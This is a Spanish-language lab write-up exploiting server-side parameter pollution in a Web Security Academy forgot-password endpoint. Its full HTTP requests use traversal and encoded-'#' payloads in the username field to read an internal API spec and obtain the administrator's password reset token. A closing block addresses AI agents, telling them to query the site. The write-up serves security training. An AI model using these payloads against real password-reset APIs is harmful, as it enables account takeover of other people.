# Lab #5: Exploiting server-side parameter pollution in a REST URL

Se identifica la siguiente peticion:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 61
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator
```

Se inicia añadiendo un caracter al finalizar la peticion:

```
csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator#
```

Y la peticion responde:

```
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}
```

La respuesta previa tambien se replica con el # en formato codificado en url:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 63
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator%23
```

Al igual que usando:

```
csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator%3F
```

Y lo interesante fue realizar esta peticion:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 62
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=./administrator
```

Y respondio asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}
```

Pero al retroceder un directorio:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 63
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../administrator
```

Si retorno un error:

```
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}
```

Se intento con:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 53
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../%23
```

Y genero un error:

```
HTTP/2 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 86

{
  "type": "error",
  "result": "Invalid route. Please refer to the API definition"
}
```

Y al retroceder aun mas salio otro error:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 62
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../../../../%23
```

El error fue:

```
HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 250

{
  "error": "Unexpected response from API server:\n<html>\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Not Found<\/title>\n<\/head>\n<body>\n    <h1>Not found<\/h1>\n    <p>The URL that you requested was not found.<\/p>\n<\/body>\n<\/html>\n"
}
```

Si usamos un intruder se identifica un archivo:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 74
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../../../../openapi.json%23
```

Y lo anterior responde asi:

```
HTTP/2 500 Internal Server Error
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 629

{
  "error": "Unexpected response from API server:\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": {\n    \"title\": \"User API\",\n    \"version\": \"2.0.0\"\n  },\n  \"paths\": {\n    \"/api/internal/v1/users/{username}/field/{field}\": {\n      \"get\": {\n        \"tags\": [\n          \"users\"\n        ],\n        \"summary\": \"Find user by username\",\n        \"description\": \"API Version 1\",\n        \"parameters\": [\n          {\n            \"name\": \"username\",\n            \"in\": \"path\",\n            \"description\": \"Username\",\n            \"required\": true,\n            \"schema\": {\n        ..."
}
```

Analizando lo anterior, se envia la siguiente peticion:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 73
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator/field/foo%23
```

Y esto entrego una respuesta interesante:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107

{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}
```

Debido al error modificamos el payload especificando a email:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 75
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator/field/email%23
```

Y lo anterior respondio asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 49

{"result":"*****@normal-user.net","type":"email"}
```

Durante el analisis inicial se identifico:

```
https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/static/js/forgotPassword.js
```

Y el codigo aqui era:

{% code title="forgotPassword.js" %}

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Invalid username";
                }
                else
                {
                    forgotPasswordError.textContent = `Please check your email: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Invalid username";
            });
    } catch (error) {
        console.error("Unexpected Error:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

{% endcode %}

Debido a la linea:

```
window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
```

Se decide enviar la siguiente peticion:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 88
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=administrator/field/passwordResetToken%23
```

Pero se obtuvo otra vez este error:

```
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 107

{
  "type": "error",
  "result": "This version of API only supports the email field for security reasons"
}
```

Asi que se decide enviar la peticion modificando el payload:

```
POST /forgot-password HTTP/2
Host: 0a460002034d6d7685a0a5c800120085.web-security-academy.net
Cookie: session=PIGiXKDD6s1t7kAZlnMyX5bdV6bi3NW5
Content-Length: 103
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: es-CO,es;q=0.9
Sec-Ch-Ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"
Content-Type: x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

csrf=pp6T3REKp1cmjtyvUqrHfBrfrHgatN0V&username=../../v1/users/administrator/field/passwordResetToken%23
```

Y esto nos respondio asi:

```
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 82

{
  "type": "passwordResetToken",
  "result": "g08402kiwhbwbm5grbbgda6mvme4aqip"
}
```

Y luego simplemente construimos la peticion para restablecer la contraseña y finalizar el reto:

```
https://0a460002034d6d7685a0a5c800120085.web-security-academy.net/forgot-password?passwordResetToken=g08402kiwhbwbm5grbbgda6mvme4aqip
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/web/api-testing/lab-5-exploiting-server-side-parameter-pollution-in-a-rest-url.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
